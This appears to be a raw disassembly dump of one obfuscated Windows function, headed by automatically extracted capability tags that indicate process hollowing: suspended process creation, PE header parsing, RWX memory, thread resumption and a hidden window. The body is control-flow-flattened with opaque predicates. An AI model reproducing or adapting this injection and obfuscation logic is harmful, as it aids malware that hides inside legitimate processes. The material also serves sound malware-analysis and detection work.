Function at 0x10002dc0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x184
mov eax, dword [0x10096600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18c], 0xaad23af3
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x190], eax
sub eax, 0x803d6016
je 0x1000585d
jmp 0x10002dfc
mov eax, dword [ebp - 0x190]
sub eax, 0x80d59f05
je 0x10007153
jmp 0x10002e12
mov eax, dword [ebp - 0x190]
sub eax, 0x80d96777
je 0x1000706d
jmp 0x10002e28
mov eax, dword [ebp - 0x190]
sub eax, 0x8169fa80
je 0x10008f76
jmp 0x10002e3e
mov eax, dword [ebp - 0x190]
sub eax, 0x820acd67
je 0x100079c0
jmp 0x10002e54
mov eax, dword [ebp - 0x190]
sub eax, 0x825cfa90
je 0x10008c65
jmp 0x10002e6a
mov eax, dword [ebp - 0x190]
sub eax, 0x8277a0a7
je 0x10007162
jmp 0x10002e80
mov eax, dword [ebp - 0x190]
sub eax, 0x82a0e6f5
je 0x10007fd2
jmp 0x10002e96
mov eax, dword [ebp - 0x190]
sub eax, 0x8473d647
je 0x100080a2
jmp 0x10002eac
mov eax, dword [ebp - 0x190]
sub eax, 0x853509bc
je 0x1000794a
jmp 0x10002ec2
mov eax, dword [ebp - 0x190]
sub eax, 0x8623beb4
je 0x1000602a
jmp 0x10002ed8
mov eax, dword [ebp - 0x190]
sub eax, 0x86738445
je 0x1000a88a
jmp 0x10002eee
mov eax, dword [ebp - 0x190]
sub eax, 0x86a30d6b
je 0x10006e78
jmp 0x10002f04
mov eax, dword [ebp - 0x190]
sub eax, 0x871614a1
je 0x1000ae77
jmp 0x10002f1a
mov eax, dword [ebp - 0x190]
sub eax, 0x87405c7c
je 0x1000bdde
jmp 0x10002f30
mov eax, dword [ebp - 0x190]
sub eax, 0x8810eef1
je 0x100069c2
jmp 0x10002f46
mov eax, dword [ebp - 0x190]
sub eax, 0x886a3c7e
je 0x10009150
jmp 0x10002f5c
mov eax, dword [ebp - 0x190]
sub eax, 0x89d049f0
je 0x1000b1ca
jmp 0x10002f72
mov eax, dword [ebp - 0x190]
sub eax, 0x8a22aa8d
je 0x1000940d
jmp 0x10002f88
mov eax, dword [ebp - 0x190]
sub eax, 0x8a2435cd
je 0x1000aac8
jmp 0x10002f9e
mov eax, dword [ebp - 0x190]
sub eax, 0x8b2ebc78
je 0x1000c272
jmp 0x10002fb4
mov eax, dword [ebp - 0x190]
sub eax, 0x8b55e0e8
je 0x1000a67a
jmp 0x10002fca
mov eax, dword [ebp - 0x190]
sub eax, 0x8bf061f1
je 0x1000b36a
jmp 0x10002fe0
mov eax, dword [ebp - 0x190]
sub eax, 0x8c1cc8ba
je 0x1000c2f9
jmp 0x10002ff6
mov eax, dword [ebp - 0x190]
sub eax, 0x8c97ee43
je 0x100085ab
jmp 0x1000300c
mov eax, dword [ebp - 0x190]
sub eax, 0x8cb08c64
je 0x10006245
jmp 0x10003022
mov eax, dword [ebp - 0x190]
sub eax, 0x8dfd3bb1
je 0x1000952f
jmp 0x10003038
mov eax, dword [ebp - 0x190]
sub eax, 0x8e2f9921
je 0x100063cd
jmp 0x1000304e
mov eax, dword [ebp - 0x190]
sub eax, 0x8f9e0b47
je 0x10009d7b
jmp 0x10003064
mov eax, dword [ebp - 0x190]
sub eax, 0x90187b90
je 0x100083c7
jmp 0x1000307a
mov eax, dword [ebp - 0x190]
sub eax, 0x910d540d
je 0x1000bb85
jmp 0x10003090
mov eax, dword [ebp - 0x190]
sub eax, 0x91105f3c
je 0x10007f54
jmp 0x100030a6
mov eax, dword [ebp - 0x190]
sub eax, 0x920dd78e
je 0x1000be9a
jmp 0x100030bc
mov eax, dword [ebp - 0x190]
sub eax, 0x92fb95d3
je 0x1000ba3f
jmp 0x100030d2
mov eax, dword [ebp - 0x190]
sub eax, 0x94b02f76
je 0x100081f2
jmp 0x100030e8
mov eax, dword [ebp - 0x190]
sub eax, 0x95faf3a9
je 0x100084b7
jmp 0x100030fe
mov eax, dword [ebp - 0x190]
sub eax, 0x9609145d
je 0x10007581
jmp 0x10003114
mov eax, dword [ebp - 0x190]
sub eax, 0x97b0288d
je 0x10006986
jmp 0x1000312a
mov eax, dword [ebp - 0x190]
sub eax, 0x97b44f12
je 0x1000649d
jmp 0x10003140
mov eax, dword [ebp - 0x190]
sub eax, 0x98240872
je 0x10006af3
jmp 0x10003156
mov eax, dword [ebp - 0x190]
sub eax, 0x988efc26
je 0x10008560
jmp 0x1000316c
mov eax, dword [ebp - 0x190]
sub eax, 0x989c6795
je 0x1000a974
jmp 0x10003182
mov eax, dword [ebp - 0x190]
sub eax, 0x99748a37
je 0x1000a18b
jmp 0x10003198
mov eax, dword [ebp - 0x190]
sub eax, 0x99a5ebf6
je 0x10007d73
jmp 0x100031ae
mov eax, dword [ebp - 0x190]
sub eax, 0x99fe5b30
je 0x100059b0
jmp 0x100031c4
mov eax, dword [ebp - 0x190]
sub eax, 0x9a69c269
je 0x10007233
jmp 0x100031da
mov eax, dword [ebp - 0x190]
sub eax, 0x9acf6ce1
je 0x10005f25
jmp 0x100031f0
mov eax, dword [ebp - 0x190]
sub eax, 0x9ae17f92
je 0x1000bae9
jmp 0x10003206
mov eax, dword [ebp - 0x190]
sub eax, 0x9b07ae57
je 0x100066dd
jmp 0x1000321c
mov eax, dword [ebp - 0x190]
sub eax, 0x9bc34325
je 0x1000965e
jmp 0x10003232
mov eax, dword [ebp - 0x190]
sub eax, 0x9c299d40
je 0x1000b3cb
jmp 0x10003248
mov eax, dword [ebp - 0x190]
sub eax, 0x9c2f5fab
je 0x1000891c
jmp 0x1000325e
mov eax, dword [ebp - 0x190]
sub eax, 0x9c93dc11
je 0x10006887
jmp 0x10003274
mov eax, dword [ebp - 0x190]
sub eax, 0x9d69d95f
je 0x1000a7cc
jmp 0x1000328a
mov eax, dword [ebp - 0x190]
sub eax, 0x9e1051d9
je 0x1000afd1
jmp 0x100032a0
mov eax, dword [ebp - 0x190]
sub eax, 0x9e3402a4
je 0x1000666f
jmp 0x100032b6
mov eax, dword [ebp - 0x190]
sub eax, 0x9eefb057
je 0x100078cd
jmp 0x100032cc
mov eax, dword [ebp - 0x190]
sub eax, 0x9f460b13
je 0x1000a621
jmp 0x100032e2
mov eax, dword [ebp - 0x190]
sub eax, 0x9f5b899a
je 0x100089c5
jmp 0x100032f8
mov eax, dword [ebp - 0x190]
sub eax, 0xa0b6942e
je 0x1000c17f
jmp 0x1000330e
mov eax, dword [ebp - 0x190]
sub eax, 0xa2f86034
je 0x100077c2
jmp 0x10003324
mov eax, dword [ebp - 0x190]
sub eax, 0xa47917c6
je 0x1000631b
jmp 0x1000333a
mov eax, dword [ebp - 0x190]
sub eax, 0xa5e0c96f
je 0x1000bc10
jmp 0x10003350
mov eax, dword [ebp - 0x190]
sub eax, 0xa5f14988
je 0x100073a6
jmp 0x10003366
mov eax, dword [ebp - 0x190]
sub eax, 0xa8591356
je 0x100068c4
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3ca2d912
mov ecx, 0x6a5d8ff1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov dl, 1
mov eax, 0xe597fcdd
mov ecx, 0xc233b95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x1001937c]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x18c], 0x65773f14
jmp 0x1000c479
movss xmm0, dword [0x10019378]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x10019374]
movss dword [ebp - 0x12c], xmm0
mov dl, 1
mov eax, 0x4cc24475
mov ecx, 0x1dbb1b4c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov eax, dword [0x10097928]
mov ecx, dword [0x10097924]
mov edx, eax
add edx, 0x897c605f
sub edx, 1
sub edx, 0x897c605f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb9d3bba7
mov ecx, 0xd1bcdaee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x10019240]
movss dword [ebp - 0x12c], xmm0
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
mov edx, ecx
add edx, 0xd6ec4066
sub edx, 1
sub edx, 0xd6ec4066
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc8e54076
mov ecx, 0xd0c9cf03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov eax, dword [0x10097928]
mov ecx, dword [0x10097924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd39009ed
mov ecx, 0x38ff13b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
mov edx, ecx
sub edx, 0x74cfa419
sub edx, 1
add edx, 0x74cfa419
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2ad23f39
mov ecx, 0x2f55e1df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov dl, 1
mov eax, 0xa9b43818
mov ecx, 0x70c39c8d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x10019234]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x10019230]
movss dword [ebp - 0x12c], xmm0
mov eax, dword [0x10097928]
mov ecx, dword [0x10097924]
mov edx, eax
sub edx, 0xfc7670fa
sub edx, 1
add edx, 0xfc7670fa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5597cfe5
mov ecx, 0x39b653ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov dword [ebp - 0x18c], 0xe0f87d7
jmp 0x1000c479
mov dl, 1
mov eax, 0x24fd5ed
mov ecx, 0x676cf629
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x10019350]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x18c], 0x24fd5ed
jmp 0x1000c479
mov eax, dword [0x10097928]
mov ecx, dword [0x10097924]
mov edx, eax
sub edx, 0xe0e28729
sub edx, 1
add edx, 0xe0e28729
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe9faa0bd
mov ecx, 0x476ef9e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xded55122
mov ecx, 0xe54a18d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov dl, 1
mov eax, 0x8277a0a7
mov ecx, 0xf69f542b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov dword [ebp - 0x18c], 0x8277a0a7
jmp 0x1000c479
movss xmm0, dword [0x1001931c]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x18c], 0x2c653be8
jmp 0x1000c479
movss xmm0, dword [0x10019208]
movss dword [ebp - 0x134], xmm0
mov eax, dword [0x10097928]
mov ecx, dword [0x10097924]
mov edx, eax
add edx, 0xd0b7b72e
sub edx, 1
sub edx, 0xd0b7b72e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x41d8891b
mov ecx, 0xace9c9d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x10019314]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x18c], 0xf6cbe64d
jmp 0x1000c479
mov dl, 1
mov eax, 0xdcc4dd9f
mov ecx, 0x279f5328
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x100191fc]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x100191f8]
movss dword [ebp - 0x134], xmm0
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x25302f4a
mov ecx, 0xfd1cc4f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x73bc6246
mov ecx, 0xb2ac82cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
mov edx, ecx
add edx, 0x7c2a042f
sub edx, 1
sub edx, 0x7c2a042f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6c702d5f
mov ecx, 0x820acd67
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x100191f4]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
mov edx, ecx
sub edx, 0xae351b06
sub edx, 1
add edx, 0xae351b06
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6c702d5f
mov ecx, 0x4e4969e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x100191ec]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
mov edx, ecx
add edx, 0x9e8d639c
sub edx, 1
sub edx, 0x9e8d639c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd40af4c
mov ecx, 0x29d64807
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x100191e4]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe554d24c
mov ecx, 0x82a0e6f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov dword [ebp - 0x18c], 0x71a0903
jmp 0x1000c479
mov dl, 1
mov eax, 0xf5650793
mov ecx, 0x4e080609
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x100192d8]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x18c], 0xda6ecabb
jmp 0x1000c479
movss xmm0, dword [0x100191d4]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x100191d0]
movss dword [ebp - 0x13c], xmm0
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
mov edx, ecx
sub edx, 0x5d76a5eb
sub edx, 1
add edx, 0x5d76a5eb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc3a54f85
mov ecx, 0xaaeb36c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x100192cc]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x18c], 0x4965daff
jmp 0x1000c479
mov dword [ebp - 0x18c], 0x5e7fb10b
jmp 0x1000c479
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
mov edx, ecx
add edx, 0x365c0abd
sub edx, 1
sub edx, 0x365c0abd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd0422246
mov ecx, 0xdc3a6c93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov dword [ebp - 0x18c], 0x425912fc
jmp 0x1000c479
mov dword [ebp - 0x18c], 0x26867538
jmp 0x1000c479
mov dl, 1
mov eax, 0xc9ce4c01
mov ecx, 0x581828e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
mov edx, ecx
add edx, 0x21b969c
sub edx, 1
sub edx, 0x21b969c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7e4a233c
mov ecx, 0xb94846af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov dword [ebp - 0x18c], 0xab67b3f9
jmp 0x1000c479
movss xmm0, dword [0x1001925c]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x18c], 0xc265fbf4
jmp 0x1000c479
mov eax, dword [0x10097928]
mov ecx, dword [0x10097924]
mov edx, eax
add edx, 0xca18eb1f
sub edx, 1
sub edx, 0xca18eb1f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaae5f2f
mov ecx, 0x2d9d3e31
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x10019194]
movss dword [ebp - 0x144], xmm0
mov eax, dword [0x10097928]
mov ecx, dword [0x10097924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1b071be6
mov ecx, 0xe1074d8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov eax, dword [0x10097928]
mov ecx, dword [0x10097924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb1103429
mov ecx, 0x7e72a452
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.10002620
add esp, 4
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xd4], eax
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
mov edx, ecx
sub edx, 0x4b31860a
sub edx, 1
add edx, 0x4b31860a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe9766ad3
mov ecx, 0x21bed4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov dword [ebp - 0x18c], 0x219c551a
jmp 0x1000c479
mov ax, word [ebp - 0xbe]
movzx esi, ax
mov edx, dword [ebp - 0xc4]
mov eax, 0x719f94ff
mov ecx, 0xf5e679af
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x18c], 0x273292e5
jmp 0x1000c479
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xac], eax
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x47edbead
mov ecx, 0xb15f325a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov dword [ebp - 0x18c], 0xec7b0565
jmp 0x1000c479
mov eax, dword [ebp - 0xa0]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0xa4]
mov eax, 0xf406980d
mov ecx, 0xaa3f604f
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1da38c08
mov ecx, 0xbecb3ad3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov eax, dword [ebp - 0x90]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0x3e9cff0e
or eax, edx
or ecx, 0x3e9cff0e
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x89], al
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
mov edx, ecx
sub edx, 0x56d89e01
sub edx, 1
add edx, 0x56d89e01
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb19ba9a5
mov ecx, 0xfbfe4c73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
mov dword [ebp - 0x18c], 0xfe051dc0
jmp 0x1000c479
mov dword [ebp - 0x18c], 0x65565486
jmp 0x1000c479
mov ecx, dword [0x10097928]
mov eax, dword [0x10097924]
mov edx, ecx
add edx, 0x5a16cf3e
sub edx, 1
sub edx, 0x5a16cf3e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6ac5e390
mov ecx, 0x5bad0b1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000c479
movss xmm0, dword [0x10019248]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x18c], 0x1caf9f49
jmp 0x1000c479
mov dword [ebp - 0x18c], 0xc56725cd
jmp 0x1000c479
movss xmm0, dword [0x1001921c]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x18c], 0xf8925e99
jmp 0x1000c479
mov dword [ebp - 0x18c], 0x566510f8
jmp 0x1000c479
movss xmm0, dword [0x100191dc]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x100191d8]
movss dword [ebp - 0x13c], xmm0
